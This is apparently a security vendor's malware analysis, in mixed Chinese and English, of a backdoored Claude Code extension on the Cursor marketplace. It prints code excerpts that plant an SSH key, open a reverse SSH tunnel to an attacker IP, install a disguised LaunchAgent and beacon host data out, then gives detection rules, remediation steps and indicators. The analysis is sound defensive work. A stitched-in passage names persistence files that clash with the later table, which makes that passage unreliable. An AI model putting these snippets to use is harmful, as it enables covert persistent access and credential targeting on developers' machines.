TL;DR
Phorion 检测到官方 Claude Code for VS Code 扩展在 Cursor 市场存在后门,该后门会在 macOS、Linux 和 Windows 系统上植入持久的 SSH 后门。本文主要聚焦 macOS 平台,分析扩展如何尝试配置 SSH 后门并实现持久化。
组织应立即检查是否部署了 Claude Code for VS Code 扩展(版本 2.1.313),一旦发现应立即启动事件响应流程。
Phorion 发现官方 Claude Code for VS Code 扩展在 Cursor 市场被篡改,恶意扩展包中包含一个持久的 SSH(Secure Shell)后门。Cursor 已从其市场中移除了相关版本,并同时从 NPM 和 VS Code 注册表中撤回了 2.1.313 版本。
虽然该植入程序包含 macOS、Linux 和 Windows 的设置和持久化逻辑,但我们将重点讨论 macOS 平台,并在此过程中指出其他平台的差异和一些实现 bug。
Cursor 市场为 Cursor 编辑器提供扩展服务。由于扩展运行时具有 IDE 和用户的权限,因此后门扩展一旦加载,即可立即访问本地文件、源代码和开发工具。
值得注意的是,Phorion 发现该恶意软件在启用 SSH 时可能存在一个漏洞。该设置逻辑假设无需 root 权限即可检查当前的远程登录状态。当以标准用户身份运行时,systemsetup -getremotelogin 会打印管理员访问错误并以状态 0 退出,而不是返回 Off。由于脚本仅在输出匹配 Off 时才尝试启用 SSH,因此它会完全跳过启用步骤。在 mac 系统上,如果 SSH 尚未运行,这一错误会破坏入站访问路径,即使 SSH 密钥和持久化仍会被植入。
在本文中,我们将介绍后门的工作原理、macOS 检查失败的原因,以及在整个机群中需要注意的事项。该负载的目标是实现长期的交互式访问,尽管 SSH 后门 bug 最小化了 macOS 平台的影响,但该恶意软件仍是一个重大威胁,它会安装持久化组件并将主机侦察数据发送回操作者。
感染链
Cursor 市场扩展
被篡改的 extension.js 文件在最小化的扩展包开头被注入了一个立即执行的函数表达式 (IIFE)。扩展包的其余部分看起来与标准扩展相同,包含 Claude Code 和 VS Code 字符串、正常的 activate 和 deactivate 导出,以及 UI 代码。
注入的前缀导入了标准的 Node.js 模块(child_process、fs、os、path、http 和 crypto),并在 Node 加载文件时立即执行,而不会等待扩展的正常 activate 回调。用户无需与扩展进行任何交互,后门即可触发。
第一阶段 - 准备 SSH 访问
首先,负载确保 ~/.ssh 目录存在,并向 ~/.ssh/authorized_keys 中追加一个攻击者控制的 Ed25519 公钥,同时将目录权限设置为 0700,文件权限设置为 0600。
该密钥的注释为 svc-telemetry。在追加之前,脚本会检查文件中是否已存在 svc-telemetry 字符串,而不是检查密钥本身。在调查此类活动时,建议检查公钥指纹,而不是仅依赖注释字符串。
var sd = path.join(HOME, ".ssh"),
ak = path.join(sd, "authorized_keys");
// ...
if (cur.indexOf("svc-telemetry") 0) {
fs.appendFileSync(ak, PUB + "\n");
d.sshKey = "added"
} else {
d.sshKey = "present"
}
在此,cur 存储 authorized_keys 的现有内容,PUB 是嵌入的攻击者公钥(此处已省略)。
一旦密钥就位,任何持有匹配私钥的人都可以认证为该用户,前提是 SSH 服务实际在运行。脚本的下一步是确保本地 SSH 守护程序已启用并监听:
- Linux: 尝试通过 systemctl 启用并启动 sshd 或 ssh,回退到 service 和 /etc/init.d/。
- macOS: 检查远程登录状态,如果报告为 Off,则尝试通过
sudo -n systemsetup -setremotelogin on启用它。 - Windows: 尝试使用 PowerShell 安装并启动 OpenSSH 服务器。
这些步骤均不包含权限提升漏洞。使用非交互式 sudo -n 的前提是用户已缓存或配置了密码less sudo,否则系统服务启动可能不会成功。
Windows 代码路径似乎也有 bug:它将 PowerShell 服务设置命令通过一个辅助函数 (det()) 传递,该函数硬编码了 /bin/sh,这在标准 Windows 安装上几乎无法运行。
macOS SSH 逻辑中的 bug?
在 macOS 上,设置过程可能在执行 sudo 命令之前就遇到问题。脚本在没有提升权限的情况下运行 systemsetup -getremotelogin,并测试输出是否匹配 /Off/i。只有当输出包含 Off 时,它才会尝试启用远程登录:
// ...
else if (PLAT === "darwin") {
var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000);
d.remoteLogin = rl;
if (/Off/i.test(rl)) {
det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");
d.remoteLoginOn = "tried"
}
}
请注意,第二个命令(-setremotelogin on)使用 sudo -n,而第一个命令(-getremotelogin)则没有。当以标准用户身份运行 systemsetup -getremotelogin 时,macOS 会返回以下错误:
You need administrator access to run this tool... exiting!
systemsetup 拒绝在没有管理员权限的情况下读取设置,它会将错误信息打印到 stdout,并以状态 0 退出。恶意软件的 ex() 辅助函数会捕获 stdout 并返回它:
function ex(c, t) {
try {
return cp.execSync(c, {
timeout: t || 3000,
stdio: ["ignore", "pipe", "ignore"],
windowsHide: true
}).toString().trim()
} catch (e) {
return ""
}
}
由于输出是 "You need administrator access to run this tool... exiting!",/Off/i.test(rl) 评估为 false。
因此,脚本跳过 if 块,永远不会运行 sudo -n systemsetup -setremotelogin on。它实际上将“没有权限检查 SSH 是否已关闭”视为“SSH 已经开启”,这解释了为什么当扩展以普通用户身份运行时,你不会在进程跟踪中看到启用尝试。
这个 bug 可能会破坏访问链的最后一步。 如果远程登录尚未在 Mac 上启用,出站隧道仍可以连接到攻击者的服务器,但任何通过隧道转发回来的流量都将击中本地端口 22 的关闭端口。
当然,这并不是一种可靠的防御手段。如果用户已经启用了远程登录,或者稍后启用了该功能,后门仍然就位并等待使用。
第二阶段 - 建立反向 SSH 隧道
接下来,脚本设置一个出站 SSH 连接,连接到 134.209.82[.]225,作为 tunnel 用户在端口 22 进行认证。为了连接到攻击者的服务器,它会解码一个单独嵌入的私钥:一个未加密的 OpenSSH Ed25519 密钥,注释为 svc-telemetry-tun。
在调查过程中,请注意区分这两个密钥:
- 添加到
~/.ssh/authorized_keys中的公钥(svc-telemetry)允许攻击者登录受害者的机器。 - 嵌入的私钥(
svc-telemetry-tun)允许受害者的机器连接到攻击者的隧道服务器。
脚本将隧道密钥写入操作系统临时目录,文件名以 .stk_ 开头,后跟主机名和主目录路径的 MD5 哈希值的前面 10 个字符:
var kf = path.join(
TMP,
".stk_" + crypto.createHash("md5")
.update(String(os.hostname()) + HOME).digest("hex").slice(0, 10)
);
// ...
var RF = (PLAT === "win32") ? "\"*:0:localhost:22\"" : "'*:0:localhost:22'";
隧道使用 -R *:0:localhost:22 进行远程端口转发。传递 0 表示攻击者的 SSH 服务器动态分配一个监听端口,并将任何击中该端口的流量转发回受害者机器的 localhost:22。因此,攻击者可以通过独立的 SSH 会话连接到服务器的分配端口,通过隧道访问受害者的本地 SSH 守护程序,使用植入的密钥进行身份验证,从而获得完整的交互式 shell 和文件传输功能,而无需在 JavaScript 中处理任何自定义 C2 命令。
SSH 命令还传递了一些标志,以保持连接安静和非交互式:禁用主机密钥检查,忽略 known_hosts,启用 BatchMode 和 IdentitiesOnly,将保活时间设置为 30 秒(ServerAliveCountMax=3),并启用 ExitOnForwardFailure。
如果安装了 autossh,脚本会使用它;否则会回退到标准的 ssh。它将连接封装在一个分离的重试循环中,在 Unix 系统上使用 pgrep 避免重复启动初始隧道。由于循环是分离的,因此隧道即使在用户关闭 IDE 后也能保持打开状态。
第三阶段 - 保持访问可用性
为了在重启后生存,该脚本在平台特定的持久化组件旁边设置了初始的分离隧道:
- Linux:
~/.config/.smt、~/.config/.smtk写入一个 shell 脚本,该脚本会重新创建隧道密钥并循环 SSH 连接,然后向用户的 crontab 中添加一个@reboot条目。 - macOS:
~/Library/LaunchAgents/com.svc.tunnel.plist写入一个 LaunchAgent plist 文件,该文件会在登录时启动隧道脚本。 - Windows:
C:\Users\%USERNAME%\AppData\Local\Programs\Microsoft\Windows\Start Menu\Programs\Startup\svc_tunnel.bat写入一个批处理文件,该文件会在用户登录时运行,并启动隧道脚本。
每个平台都包含一个 bug,导致持久化机制可能无法正常工作,但这并不影响主要攻击链。
n the crontab check that can wipe existing user cron jobs on repeat runs (detailed below).macOS~/.config/.smt, ~/.config/.smtk, ~/Library/LaunchAgents/com.apple.sysmond.plistWrites a user LaunchAgent that runs /bin/sh ~/.config/.smt with RunAtLoad and KeepAlive set to true, then loads it via launchctl.Runs in the user context rather than as a root LaunchDaemon.Windows~/.config/smt.cmd, ~/.config/smtk, %APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmdTries to create a scheduled task named SysMon running as SYSTEM on startup. If that fails, drops sysmon.cmd into the user’s Startup folder.Creating a SYSTEM task requires admin privileges; the Startup folder fallback runs as the user at login.
On macOS and Linux, the ~/.config/.smt script has the tunnel private key embedded inside it and writes it out to ~/.config/.smtk before starting the reconnection loop.
On macOS, the LaunchAgent disguises itself as com.apple.sysmond.plist inside ~/Library/LaunchAgents/:
Label
com.apple.sysmond
RunAtLoad
KeepAlive
Stage 4 - Host Recon
Finally, the script gathers basic host reconnaissance and sends a one-off beacon back to the attacker’s server:
- Hostname, username, OS platform, and architecture
- Home directory, current working directory, and global Git email (git config –global user.email)
- Public IP address and status flags from each setup stage (e.g. whether the SSH key was added and which persistence method ran)
- Up to 40 environment variable names (not values) matching /KEY|TOKEN|SECRET|PASS|AWS|GCP/i
The environment variable check uses Object.keys(process.env):
Object.keys(process.env)
.filter(function(k) {
return /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k)
})
.slice(0, 40)
Because it only grabs the variable names, the beacon doesn’t exfiltrate the secret values themselves. Instead, it gives the operator a quick inventory of which cloud credentials or API tokens live on the machine so they know which hosts to prioritise.
To get the machine’s public IP, the script queries ifconfig[.]me, falling back to api[.]ipify[.]org.
It then sends the JSON report via plaintext HTTP POST requests to /beacon on both 134.209.82[.]225:8099 and 127.0.0.1:8099:
var r = http.request({
host: h,
port: p,
path: "/beacon",
method: "POST",
timeout: 3000,
headers: {"content-type": "application/json"}
}, function(res) {
res.resume()
});
// ...
r.write(JSON.stringify(d));
r.end()
Why it also sends a copy of the beacon to 127.0.0.1:8099 isn’t clear from the sample; the script itself doesn’t set up a local listener on that port.
The beacon is scheduled once with setTimeout (1.5 seconds after the initial setup runs) and discards any HTTP response with res.resume(). It’s purely a check-in to let the operator know the host is ready, while the SSH tunnel handles the actual access.
Detection Opportunities
From a detection standpoint, there are several behaviours in this chain that stand out on macOS using Endpoint Security Framework (ESF) telemetry.
SSH Key and Configuration Changes
Because the malware appends to ~/.ssh/authorized_keys directly using Node’s fs.appendFileSync, process-only rules watching for shell commands like echo or tee touching authorized_keys won’t catch it. This is where file modification telemetry is essential: watching for IDE helper processes (Code Helper, Cursor Helper, etc.) creating or writing to ~/.ssh/authorized_keys.
Even though the IDE binary itself is validly signed, its extension host process has no business modifying SSH authentication files in the background.
While you should also monitor for systemsetup -setremotelogin on, don’t rely on it as a required condition for alerting on this campaign. As we saw above, the broken state check on macOS means that command often won’t run at all.
User LaunchAgent Persistence
The persistence setup on macOS gives us a couple of strong signals:
- A non-Apple process writing a plist with a com.apple.* label (~/Library/LaunchAgents/com.apple.sysmond.plist).
- A LaunchAgent configured to execute /bin/sh against a hidden script in the user’s home directory (~/.config/.smt).
Because the initial tunnel is spawned as a detached process and launchd later manages .smt directly, the subsequent ssh processes won’t have the IDE as their immediate parent in a live process tree. Correlating the file creation of .smt and com.apple.sysmond.plist back to the IDE extension host makes it much easier to piece the chain together.
SSH Tunnels and Follow-On Access
On the process and network side, look for:
- ssh or autossh launched with remote port forwarding (-R :0:localhost:22) and identity files pulled from /tmp/.stk_ or ~/.config/.smtk.
- Outbound SSH connections to 134.209.82[.]225 on port 22, alongside HTTP POST requests to 134.209.82[.]225:8099 (and connection attempts to 127.0.0.1:8099).
If you find a host where this extension ran, it’s important to check whether the tunnel was merely established or whether an operator actually logged in through it. Because inbound sessions arrive through the local port forward, successful logins in SSH logs will appear to come from localhost (127.0.0.1 or ::1) authenticating with the svc-telemetry key.
Remediation
If you identify an affected machine, uninstalling the extension alone won’t remove the backdoor. Make sure your response covers all of the stages it drops:
- Kill active tunnel processes: Terminate the /bin/sh retry loop and any ssh or autossh processes connecting to 134.209.82[.]225.
- Remove persistence: Unload and delete ~/Library/LaunchAgents/com.apple.sysmond.plist on macOS (or clean up the @reboot cron entry on Linux / SysMon scheduled task and Startup script on Windows), and remove ~/.config/.smt and ~/.config/.smtk.
- Clean up SSH keys and state: Remove the svc-telemetry public key from ~/.ssh/authorized_keys, delete /tmp/.stk_*, and verify that Remote Login (SSH) hasn’t been enabled unexpectedly.
- Rotate credentials: If SSH was enabled on the host, or if there’s any evidence of an inbound login, rotate any credentials or tokens that were accessible to that user account (especially those matching the KEY|TOKEN|SECRET|PASS|AWS|GCP environment variable filter).
Phorion’s Approach
Phorion’s out-of-the-box detection coverage flags the macOS persistence used in this attack across multiple rules, including non-Apple processes creating com.apple.* LaunchAgents and LaunchAgents executing shell scripts from hidden directories.
Beyond persistence, Phorion’s file access telemetry captures the IDE extension host modifying ~/.ssh/authorized_keys directly, and Phorion Protections can be used to lock down ~/.ssh/ so that only authorised processes can read or modify SSH keys and configuration files in the first place.
If you want to see how Phorion detects and blocks supply chain threats like this across your Mac fleet, get in touch to arrange a demo.
Indicators
Sample and Public-Key Fingerprints
IndicatorValueNotesSHA-256ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15Backdoored extension.js bundleVictim-login public-key fingerprintSHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htkEd25519 key appended to ~/.ssh/authorized_keys (comment svc-telemetry)Tunnel public-key fingerprintSHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQEmbedded Ed25519 key used to authenticate to the tunnel server (comment svc-telemetry-tun)
Network Indicators
IndicatorTypeNotes134.209.82[.]225 (TCP 22, user tunnel)IP / SSHOutbound reverse SSH tunnel server134.209.82[.]225:8099 (POST /beacon)IP / HTTPExternal host-report beacon endpoint127.0.0.1:8099 (POST /beacon)Loopback / HTTPLocal beacon destinationifconfig[.]me, api[.]ipify[.]orgDomainLegitimate services queried for public IP discovery
Host Artifacts
ArtifactPlatformNotes~/./extensions/anthropic.claude-code-2.1.313-darwin-arm64macOS (Apple Silicon)Installed extension directory ( varies by editor)`~/.ssh/authorized_keys` (comment `svc-telemetry`)AllPlanted Ed25519 public key`/.stk_` (`$TMPDIR/.stk_*` on macOS)AllInitial tunnel private key in the OS temporary directory (suffix is first 10 hex chars of `MD5(hostname + HOME)`)`~/.config/.smt` and `~/.config/.smtk`macOS, LinuxPersistence shell script and recreated tunnel private key`~/Library/LaunchAgents/com.apple.sysmond.plist`macOSUser LaunchAgent executing `/bin/sh ~/.config/.smt@rebootcron entry for/.config/.smt/.config/smt.cmdLinuxUser crontab persistenceand~/.config/smtkWindowsPersistence batch script and tunnel private keyScheduled task SysMonWindowsStartup scheduled task (requests SYSTEM)%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd`WindowsStartup folder fallback script
Let’s Talk
See how Phorion protects your macOS fleet
Purpose-built by macOS security researchers. One lightweight agent delivering detection, prevention, and visibility.
Ready to see it in action? Book a demo and we’ll show you how Phorion can protect your fleet.
Book a Demo
Expect a personal email from our team.
[
Detecting Threats
Behavioral detection and threat hunting
](/features/threat-detection/)[
Protecting Endpoints
File access controls and hash blocking
](/features/protections/)[
Responding to Incidents
Live response and device isolation
](/features/incident-response/)[
Endpoint Visibility
Deep telemetry via Apple’s ESF
](/features/endpoint-visibility/)